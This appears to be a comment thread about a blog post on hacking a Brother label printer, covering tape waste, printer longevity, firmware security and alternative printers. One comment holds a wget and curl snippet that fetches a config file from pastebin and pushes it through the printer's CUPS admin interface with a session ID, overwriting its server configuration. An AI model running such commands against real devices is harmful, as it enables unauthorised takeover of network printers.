Pwning a Brother labelmaker, for fun and interop
sdomi.pl
sdomi.pl
I don't particularly doubt the waste of tape is somewhat necessary. The way TZe tape works is there's a double side sticky backing, a thin film with a coating of ink (selectively transfers, with the used tape re-rolled internally) when heated and pressed onto the sticky backing), and a clear coverlay. The problem is that because of the thickness of the cutter assembly (which is actually just a mechanized pair of scissors internally), there is about an inch of tape after the layers have been laminated, but before the tape is cut. The printer has to advance the tape to get it cut at the right place, but by the time it's gotten there, the tape now has a stub of white tape on it, which if not cut off, would get stuck to the next label.
"Chain printing" solves this problem by letting the printer delay the "advance and cut" operation until it has something to fill the otherwise wasted inch with.
This (along with the chain printing) only works when you know you have a lot of (similar) labels to print beforehand.
To me, it's also less about the cost of the wasted tape, and more about the extra litter it produces.
My idea is to add another endpoint to the API so that using Whisper or Siri, I can say, “Print Eggs and today’s date” or “Print Coffee in medium size.” I use something similar with an Alfred workflow, but voice commands would be nice in the kitchen.
I hate when someone talks about a project I’m interested in but doesn’t share any code. However, the entire thing is so ugly that I’ll never permit any other human being to see it. I’ll incorporate a Dead Man’s switch to delete everything or burn the Raspberry Pi, if needed.
Anyway, it’s all very simple once you realize that Fabric.js [2] handles 80% of the interface and functionalities on the frontend. Probably with Aider [3] and Claude Sonnet 3.5, you can make it during breakfast (or 7 years: I’m a dev, so I’m VERY bad at time estimations).
[1] https://gist.github.com/vsigler/98eafaf8cdf2374669e590328164...
> There's a CUPS version that's 10+ years old, Linux kernel almost old enough to drink, all of that r̶u̶n̶n̶i̶n̶g̶ crawling on an ARMv5.
> but it seems that they have one specific design and they're happy to milk it for as long and as cheap as possible
Like who fucking cares how old the CPU in a label printer is?
A label printer ought to be judged on its ability to print labels first and foremost. If it is designed such that it eventually must be discarded because it is no longer good at printing labels, that should reflect poorly on it.
My label printer sits next to my stapler. The stapler is a Swingline from the 70s, I think my parents gave it to me when I was in college? Regardless, it cannot really be considered obsolete, because it staples just as well as it did when it was made. The latest advances in technology do not make new staplers function any better. Similarly, my label printer has a qwerty keyboard and does not need to keep pace with modern wifi standards, as long as 12mm ink/label cartridges are available (and they have been the same since the 90s) and the NiMH battery can be recharged, it will work just as well as when it was new.
The smoothness of the gradient on the CUPS internal web server is so irrelevant to the merits of the label printer that it does not deserve to be mentioned. Some printers and chart plotters are very large, very expensive machines that can nonetheless function for decades, and fortunately, the CUPS project still supports them.
It's unfortunate that one of the most desirable attributes of a printer is that it supports wireless networking, and that wireless networking security standards have as much churn as they do, which causes label printers like this one to become e-waste.
I don't (usually) care about the CPU, but I do care about the update story. If they are shipping a very outdated cpu design, it likely runs a kernel that no longer gets security patches.
https://www.staples.com/dymo-organizer-express-pro-industria...
What I mean is there are three vectors for attacking a label printer: physical access, local network access, and internet access. If an attacker has physical access, your problem isn't the label printer, it's physical security. If an attacker has local network access to your label printer, your problem isn't the label printer it's network security.
There are use cases where internet access is worth a security risk. In that case, device choice should reflect the risk. Consumer hardware has a different risk profile than commercial hardware. Enterprise hardware has a different profile too. Same with custom bespoke solutions from consultants.
Updating the kernel on a consumer device typically means connecting the device to the internet because an internet connection is the most consumer friendly way to update it. For consumer devices convenience is generally more important than IT security.
My gut reaction that led to my response is that security requires engineering analysis of budget, risks, and rewards. Hardening the Linux kernel of a Brother label printer isn't better engineering because the IT problem it addresses is more fundamental. Again, sorry for making you feel silly. It was not my intent.
Instead I bought the cheapest Brother on Amazon...it doesn't connect to the internet, just sits in a drawer. Maybe if I come across a Dymo in a thrift store, I'll have one too because they are kind of cool.
Which reminds me, about 25 years ago I had a Kroy 80 in my studio. The Kroy 80 is a Dymo on steriods. https://munk.org/typecast/2012/08/17/kroy-80-80k-sales-broch...
“If you’ve ever used one of Dymo’s small 1/4″ or 3/8″ plastic-embossing labelmakers (and who hasn’t?) you already understand how this tool works, and how to operate it. But in terms of construction quality and durability, the Tapewriter is as far removed from those cheap plastic embossers as a Mercedes is from a Kia. It’s 10″ long, weighs almost two pounds, and is made almost entirely from cast aluminum, with steel fittings here and there, and all held together with machine screws. The only polymer in the thing, as far as I can tell, is a rubber friction coating on the internal tape drive wheels.”
> Perhaps the most eyebrow-raising part of this whole adventure was seeing how messy and cluttered the base image was. Constructs like /etc/www, messy symlinks interconnecting different directories for seemingly no reason, things thrown around with zero understanding of how everything works, etc.
Ancient kernel, ancient busybox, ancient vulnerable CUPS build, an authentication system that didn't really authenticate anything, vulnerabilities everywhere, and the base system just thrown together like amateur hour.
I've always wanted to sit down with a Tech Lead of a product like this over coffee, and just pick his brain to understand how he considered any of this to be acceptable. I mean, do you just barely get it working one day with everything just hanging together in whatever way the last engineer left it? Then the next day the product ships, and you go home satisfied with how you did your job?
Yes.
Programming is typically a blue collar job in Japan. Making a device means design it, build it, validate it, and ship it. The factory doesn’t change anything. You don’t revisit it; if the company wants a new version you design the new device and yes, in the process grab some stuff from prior versions if you want.
Obviously not every company works this way (e.g. programmers have more status at places like SCEI or Nintendo; some car companies do step parts of their designs) but if you look at most industry you’ll find it’s pretty much as I describe.
How did you come to this conclusion?
The thing about devices with a web interface is that they will end up Internet-exposed, and the thing about weak Internet-exposed hosts is that they will be assembled into a botnet. Mirai is probably a bit atypical because surveillance cameras are perhaps more likely than others to end up exposed, but I think it’s still worth applying its lessons to other appliances as well.
Here ya go, I fixed it (or just see the pastebin link if you're curious what it says):
wget -O conffile https://pastebin.com/raw/eGfKdvh8
curl ... \
--data-urlencode 'org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05' \
--data-urlencode 'OP=config-server' \
--data-urlencode "CUPSDCONF@conffile" \
--data-urlencode 'SAVECHANGES=Save+Changes' >/dev/nullBefore throwing it away, I looked at it and it contained classified information.
Is that like the way that, in the days of typewriters, government people typing highly-sensitive information would sometimes burn the typewriter ribbon?
> pxplus_ibm_vga8regular
https://www.bing.com/search?q=%22pxplus_ibm_vga8regular%22+f...
Why is it only available from seedy foreign font sites?
https://int10h.org/oldschool-pc-fonts/
That happens to be my favorite programming font. I cut my teeth on qbasic/DOS, so in 2024 I still use that font in my linux terminals + VSCode :)
I had a dymo d1 style label printer years ago and liked it, but it was a pain to get the backing to come off the labels when you wanted to stick them. (dymo labelmanager pnp)
Then I got a brother QL-1100 and it was a big step up. Labels easily come off the backing and if you want, 3rd party labels are cheap and available. I rarely pull out the dymo anymore. You can even print like from a database and it will spit out a pile of cut labels with no intervention. also linux software on github (haven't tried it)
Love the API it has, aside from some quirks - we can control the printer from within our Android/iOS apps - literally can tell it to half cut the labels or not.
Edit: another thing that you get with Zebra/Honeywell is that these printers do not use proprietary media and transfer ribbons (if you go with TTR model, which I would recommend) and you can source the consumables anywhere you want as long as it will mechanically fit. We even use Zebra printer with Epson-branded continuous DT uncut label media to print a beer tap-list. Along that path we even found what can be hardware bug in the printer: apparently you cannot get the print head to overheat, as the power supply will go into thermal shutdown well before that, but in all fairness the thing was not designed to print half a meter long mostly black “labels”.
The Zebra LP2844 is a workhorse 4x6 label printer.
Zebra took the design and sells it as the "all new" ZP888 in China and other foreign markets at stupidly low costs. There are Alibaba sellers that will help you snag one back into the US for around $150-200 instead of the massive cost of Zebra's US products ;)